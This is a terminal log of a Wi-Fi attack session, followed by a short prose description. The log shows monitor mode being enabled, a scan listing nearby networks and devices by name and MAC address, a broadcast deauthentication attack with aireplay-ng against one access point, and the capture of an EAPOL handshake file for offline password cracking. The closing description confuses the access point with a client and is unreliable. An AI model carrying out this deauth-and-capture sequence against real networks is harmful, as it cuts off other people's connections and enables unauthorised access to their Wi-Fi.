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└─(root㉿VOID)-[~/home/ghost]
# sudo airmon-ng check kill

Killing these processes:

    PID Name
    1799 wpa_supplicant

└─(root㉿VOID)-[~/home/ghost]
# sudo airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy0      wlan0          mt7601u     Ralink Technology, Corp. MT7601U
                  (monitor mode enabled)

└─(root㉿VOID)-[~/home/ghost]
# iwconfig
lo      no wireless extensions.

eth0      no wireless extensions.

eth1      no wireless extensions.

docker0  no wireless extensions.

wlan0    IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
          Retry short limit:7 RTS thr:off Fragment thr:off
          Power Management:off

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└─(root㉿VOID)-[~/home/ghost]
# sudo airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy0      wlan0          mt7601u     Ralink Technology, Corp. MT7601U
                  (monitor mode enabled)

```

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CH 10 ][ Elapsed: 18 s ][ 2025-12-01 18:38

BSSID          PWR  Beacons    #Data, #/s   CH   MB   ENC CIPHER AUTH ESSID
2E:C1:F4:4F:6C:1A -78      2          0      0   6  324  WPA2 CCMP  PSK Airtel_Muzamil
30:BD:13:3C:8C:36 -64      4          0      0  11 130  WPA2 CCMP  PSK Airtel_SHIKARI GH
CH 9 ][ Elapsed: 42 s ][ 2025-12-01 18:38

BSSID          PWR  Beacons    #Data, #/s   CH   MB   ENC CIPHER AUTH ESSID
1A:87:4C:2E:B8:CA -84      2          2      0   6   54  WPA2 CCMP  PSK AirFiber-FmNagC
2E:C1:F4:4F:6C:1A -78      8          0      0   6  324  WPA2 CCMP  PSK Airtel_Muzamil
30:BD:13:3C:8C:36 -65     13         0      0  11 130  WPA2 CCMP  PSK Airtel_SHIKARI GH
E2:66:29:D4:32:CB -36     69         1      0   1  360  WPA3 CCMP  SAE OnePlus Nord CE4
F6:27:56:59:06:38 -1       0        364     17  10  -1   WPA             <length: 0>

BSSID          STATION          PWR      Rate     Lost    Frames  Notes  Probes
(not associated) B6:64:9D:84:5C:77 -90      0 - 1      0       1
(not associated) 46:24:9E:C0:07:F7 -72      0 - 1      0       1
E2:66:29:D4:32:CB A8:41:F4:0C:8F:5D -48      0 - 1      0       1
F6:27:56:59:06:38 92:DB:EF:76:A3:9E -72      0 - 1      8     4217

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CH 1 ][ Elapsed: 4 mins ][ 2025-12-01 18:47 ][ fixed channel wlan0: 5

BSSID          PWR RXQ  Beacons    #Data, #/s   CH   MB   ENC CIPHER AUTH ESSID
52:E3:BB:26:61:72 -28  49      1272      355      0   1  360  WPA2 CCMP  PSK OnePlus Nord
BSSID          STATION          PWR      Rate     Lost    Frames  Notes  Probes
52:E3:BB:26:61:72  A8:41:F4:0C:8F:5D -15      1e- 1      0     285  EAPOL

```

```

root@VOID: /home/ghost
# sudo aireplay-ng -0 20 -a 52:E3:BB:26:61:72 wlan0
18:44:50 Waiting for beacon frame (BSSID: 52:E3:BB:26:61:72) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
18:44:51 Sending DeAuth (code 7) to broadcast -- BSSID: [52:E3:BB:26:61:72]
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18:44:57 Sending DeAuth (code 7) to broadcast -- BSSID: [52:E3:BB:26:61:72]

```

The terminal output shows the aireplay-ng command being run to perform a DeAuth attack on a client with MAC address 52:E3:BB:26:61:72. The attack is targeting a connected wireless client. The command is sending DeAuth frames (code 7) to broadcast on channel 1. The process is shown in real-time with timestamps from 18:44:50 to 18:44:57.

The file browser window shows a captured file named "capture-01.cap". The file contains EAPOL frames, which are used for authentication in IEEE 802.11 wireless networks. The file icon features a blue and white document design with binary code "010101 011010 011100" on it.